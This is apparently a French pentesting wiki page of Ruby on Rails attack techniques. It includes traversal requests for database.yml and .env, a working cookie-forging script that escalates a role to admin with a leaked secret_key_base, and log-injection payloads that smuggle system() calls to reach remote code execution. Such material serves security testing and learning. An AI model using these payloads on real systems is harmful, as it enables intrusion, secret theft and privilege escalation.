10 KiB
Astuces Ruby
{{#include ../../banners/hacktricks-training.md}}
File upload to RCE
Comme expliqué dans this article, uploader un fichier .rb
dans des répertoires sensibles tels que config/initializers/
peut conduire à une exécution de code à distance (RCE) dans des applications Ruby on Rails.
Conseils :
- D'autres emplacements exécutés au démarrage (boot/eager-load) sont aussi risqués s'ils sont inscriptibles (par ex.,
config/initializers/
est le classique). Si vous trouvez un upload de fichier arbitraire qui atterrit n'importe où sousconfig/
et est ensuite évalué/require, vous pouvez obtenir du RCE au démarrage. - Cherchez des dev/staging builds qui copient des fichiers contrôlés par l'utilisateur dans l'image du conteneur où Rails les chargera au démarrage.
Active Storage image transformation → command execution (CVE-2025-24293)
Quand une application utilise Active Storage avec image_processing
+ mini_magick
, et passe des paramètres non fiables aux méthodes de transformation d'images, les versions de Rails antérieures à 7.1.5.2 / 7.2.2.2 / 8.0.2.1 pouvaient permettre une injection de commande parce que certaines méthodes de transformation étaient par erreur autorisées par défaut.
- Un pattern vulnérable ressemble à :
<%= image_tag blob.variant(params[:t] => params[:v]) %>
où params[:t]
et/ou params[:v]
sont contrôlés par l'attaquant.
-
Que tester pendant l'évaluation
-
Identifiez les endpoints qui acceptent des options de variant/processing, des noms de transformation, ou des arguments arbitraires pour ImageMagick.
-
Fuzz
params[:t]
etparams[:v]
pour détecter des erreurs suspectes ou des effets secondaires d'exécution. Si vous pouvez influencer le nom de la méthode ou passer des arguments bruts qui atteignent MiniMagick, vous pouvez obtenir de l'exécution de code sur l'hôte qui traite les images. -
Si vous n'avez qu'un accès en lecture aux variants générés, tentez une exfiltration aveugle via des opérations ImageMagick spécialement conçues.
-
Remédiation/détections
-
Si vous voyez Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 avec Active Storage +
image_processing
+mini_magick
et des transformations contrôlées par l'utilisateur, considérez-le comme exploitable. Recommandez une mise à jour et l'application de allowlists strictes pour les méthodes/params ainsi qu'une politique ImageMagick durcie.
Rack::Static LFI / path traversal (CVE-2025-27610)
Si la stack cible utilise le middleware Rack directement ou via des frameworks, les versions de rack
antérieures à 2.2.13, 3.0.14 et 3.1.12 permettent une inclusion locale de fichiers (LFI) via Rack::Static
lorsque :root
n'est pas défini/mal configuré. Des traversées encodées dans PATH_INFO
peuvent exposer des fichiers sous le répertoire de travail du processus ou un root inattendu.
- Cherchez des apps qui montent
Rack::Static
dansconfig.ru
ou dans les stacks de middleware. Essayez des traversées encodées contre des chemins statiques, par exemple :
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Ajustez le préfixe pour correspondre aux urls:
configurés. Si l'application répond avec le contenu du fichier, vous avez probablement LFI vers n'importe quoi sous le :root
résolu.
- Mitigation : mettez à jour Rack ; assurez-vous que
:root
pointe uniquement vers un répertoire de fichiers publics et est défini explicitement.
Forging/decrypting Rails cookies when secret_key_base
is leaked
Rails chiffre et signe les cookies en utilisant des clés dérivées de secret_key_base
. Si cette valeur est leakée (par ex., dans un repo, des logs, ou des credentials mal configurés), vous pouvez généralement décrypter, modifier et re-chiffrer les cookies. Cela conduit souvent à un contournement d'autorisation si l'app stocke des rôles, des user IDs, ou des feature flags dans les cookies.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Notes:
- Les applications plus anciennes peuvent utiliser AES-256-CBC et des salts
encrypted cookie
/signed encrypted cookie
, ou des serializers JSON/Marshal. Ajustez les salts, le cipher, et le serializer en conséquence. - En cas de compromission/pendant l'évaluation, faites tourner
secret_key_base
pour invalider tous les cookies existants.
Voir aussi (vulnérabilités spécifiques à Ruby/Rails)
- Ruby deserialization and class pollution: {{#ref}} ../../pentesting-web/deserialization/README.md {{#endref}} {{#ref}} ../../pentesting-web/deserialization/ruby-class-pollution.md {{#endref}} {{#ref}} ../../pentesting-web/deserialization/ruby-_json-pollution.md {{#endref}}
- Template injection in Ruby engines (ERB/Haml/Slim, etc.): {{#ref}} ../../pentesting-web/ssti-server-side-template-injection/README.md {{#endref}}
Log Injection → RCE via Ruby load
and Pathname.cleanpath
smuggling
Quand une app (souvent un simple endpoint Rack/Sinatra/Rails) :
- enregistre une chaîne contrôlée par l'utilisateur telle quelle, et
- puis
load
un fichier dont le chemin est dérivé de cette même chaîne (aprèsPathname#cleanpath
),
Vous pouvez souvent obtenir une exécution de code à distance (RCE) en empoisonnant le log puis en contraignant l'app à load
le fichier de log. Primitives clés :
- Ruby
load
évalue le contenu du fichier cible comme du Ruby, quelle que soit l'extension. Tout fichier texte lisible dont le contenu parse comme du Ruby sera exécuté. Pathname#cleanpath
aplatit les segments.
et..
sans interroger le système de fichiers, permettant le path smuggling : des données contrôlées par l'attaquant peuvent être préfixées pour le logging tandis que le chemin nettoyé pointe toujours vers le fichier visé à exécuter (par ex.../logs/error.log
).
Modèle vulnérable minimal
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
Pourquoi le log peut contenir du Ruby valide
Logger
écrit des lignes de préfixe comme:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
En Ruby, #
commence un commentaire et 9/2/2025
n'est que de l'arithmétique. Pour injecter du code Ruby valide, vous devez :
- Commencez votre payload sur une nouvelle ligne pour qu'il ne soit pas commenté par le
#
dans la ligne INFO ; envoyez un retour à la ligne initial (\n
ou%0A
). - Fermez le
[
en suspens introduit par la ligne INFO. Une astuce courante est de commencer par]
et, optionnellement, de satisfaire le parseur avec][0]=1
. - Placez ensuite du Ruby arbitraire (par ex.,
system(...)
).
Exemple de ce qui apparaîtra dans le log après une requête avec un paramètre spécialement conçu :
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Smuggling d'une seule chaîne qui à la fois logs du code et se résout vers le chemin du log
Nous voulons une seule chaîne contrôlée par l'attaquant qui :
- lorsqu'elle est loggée brute, contient notre Ruby payload, et
- lorsqu'on la passe à
Pathname.new(<input>).cleanpath
, se résout en../logs/error.log
de sorte que leload
suivant exécute le fichier de log récemment empoisonné.
Pathname#cleanpath
ignore les schemes et résout les composants de traversal, donc ce qui suit fonctionne :
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
- Le
#
avant://
fait en sorte que Ruby ignore la fin quand le log est exécuté, tandis quecleanpath
réduit toujours le suffixe en../logs/error.log
. - Le saut de ligne initial sort de la ligne INFO ;
]
ferme la parenthèse pendante ;][0]=1
satisfait le parseur.
Exploitation de bout en bout
- Envoyez la chaîne suivante comme nom du script de sauvegarde (URL-encode the first newline as
%0A
if needed):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- L'app enregistre votre chaîne brute dans
logs/error.log
. - L'application calcule
cleanpath
qui se résout en../logs/error.log
et appelleload
dessus. - Ruby exécute le code que vous avez injecté dans le log.
Pour exfiltrer un fichier dans un environnement de type CTF :
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (le premier caractère est un saut de ligne):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Références
- Annonce de sécurité Rails : CVE-2025-24293 Active Storage méthodes de transformation non sécurisées (corrigé dans 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- Avis GitHub : Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Ruby Pathname.cleanpath docs
- Ruby Logger
- How Ruby load works
{{#include ../../banners/hacktricks-training.md}}